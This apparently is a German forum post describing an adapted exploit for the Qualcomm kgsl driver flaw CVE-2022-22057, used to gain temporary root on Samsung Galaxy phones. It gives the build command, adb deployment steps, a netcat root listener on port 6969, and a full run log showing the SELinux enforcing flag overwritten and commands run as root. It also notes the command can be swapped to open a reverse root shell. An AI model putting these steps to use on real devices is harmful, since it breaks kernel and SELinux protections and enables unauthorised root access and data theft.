
Qualcomm kgsl Treiber-Exploit (CVE-2022-22057) für Samsung Galaxy Geräte, das beliebiges Lesen/Schreiben des Kernel-Speichers, SELinux-Bypass und temporären Root-Zugriff durch eine Race-Condition ermöglicht.
Meine Adaption für das SM-F926U basierend auf dem ursprünglichen Exploit hier
Großer Dank an m-y-mo für die Entdeckung des Exploits und seine extreme Geduld bei all meinen Fragen, um dies auf das SM-F926U zu portieren und nutzbar zu machen.
Ich habe einen Start-Daemon (libtimeline.so) basierend auf Code von Shizuku hinzugefügt.
Habe einen schmutzigen Trick eingebaut, um die temporäre Root-Lösung stabil zu machen (siehe unten).
Haftungsausschluss: Ich übernehme keine Verantwortung für zerstörte Geräte, verlorene Daten, gestohlene Daten, Gerätesicherheit
Haftungsausschluss 2: Ich bin kein Entwickler, eher ein professioneller Bastler. Ich werde versuchen, dir zu helfen, wenn du auf Probleme stößt, aber ich könnte diesen Thread nie wieder ansehen – auf eigene Gefahr.
Anforderungen:
Anleitung:
/data/local/tmp/timeline direkt ausführen, um zu sehen, ob der Exploit läuft oder hängt (siehe Hinweise unten)./data/local/tmp/libtimeline.so aus.netcat 127.0.0.1 6969 in einer ADB-Sitzung eingibst.id eingeben können; es zeigt dann deine Root-Anmeldeinformationen.echo 'DEIN BEFEHL' | netcat 127.0.0.1 6969 ausführen.Weitere Hinweise:
top sehen, dass timeline mit etwa 100% CPU-Auslastung läuft. Ich bin mir nicht sicher, ob das legitim ist oder nicht. Es sitzt eigentlich nur in einer while(1)-Schleife, um zu verhindern, dass es geschlossen wird und das Gerät abstürzt. Ich habe noch nicht herausgefunden, was die hohe CPU-Auslastung verursacht oder ob es ein falscher Positiv ist.Der Artikel dazu ist hier zu finden. Es handelt sich um einen Fehler im Qualcomm kgsl-Treiber, den ich im November 2021 gemeldet habe. Der Fehler kann genutzt werden, um aus der nicht vertrauenswürdigen App-Domäne beliebigen Kernel-Speicher zu lesen und zu beschreiben, der dann verwendet wird, um SELinux zu deaktivieren und Root-Zugriff zu erlangen.
Der Exploit wurde auf dem Samsung Galaxy Z Flip 3 (europäische Version SM-F711B) mit Firmware-Version F711BXXS2BUL6, Baseband F711BXXU2BUL4 und Kernel-Version 5.4.86-qgki-23063627-abF711BXXS2BUL6 (Region EUX) getestet. Die Offsets im Exploit beziehen sich auf diese Firmware-Version. Neben den üblichen Offsets im Kernel-Image sind auch verschiedene Adressen der Ionen-Speicherpools in ion_utils.c firmwarespezifisch. Als Referenz habe ich den folgenden Befehl zum Kompilieren mit clang in ndk-21 verwendet:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline
Der Exploit ist einigermaßen zuverlässig (~70% auf dem getesteten Gerät), obwohl er nach dem Start einige Minuten warten muss, bevor er ausgeführt wird, da es in den ersten Minuten nach dem Start viel zu viele fehlerhafte/fehlgeschlagene Binder-Aufrufe gibt. (Ob das ein Qualcomm- oder Samsung-Problem ist, bin ich mir nicht ganz sicher).
Zum Testen die Datei cross-kompilieren und dann mit adb ausführen:
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline
Bei Erfolg wird SELinux deaktiviert und der Befehl id als Root ausgeführt; die Ergebnisse werden in die Datei /data/local/tmp/id.txt geschrieben:
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished
Nach der Ausgabe wait complete -1 gibt es eine längere Pause von weniger als einer Minute – das ist normal. Es kann manchmal auch eine Weile dauern, bis die Arbeit in die Warteschlange eingereiht wird (nachdem queuing work, waiting to aquire spin lock ausgegeben wird, kann es ein paar Minuten dauern, einfach Geduld haben – das ist jedoch nicht häufig). Normalerweise ist der Exploit in ein paar Minuten abgeschlossen.
Die Datei /data/local/tmp/id.txt sollte bestätigen, dass der Befehl als Root ausgeführt wurde:
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
Ein anderer Befehl kann ausgeführt werden, indem die Variable cmd in setup_sub_info in work_queue_utils.c geändert wird. (Zum Beispiel, um eine umgekehrte Root-Shell zu öffnen).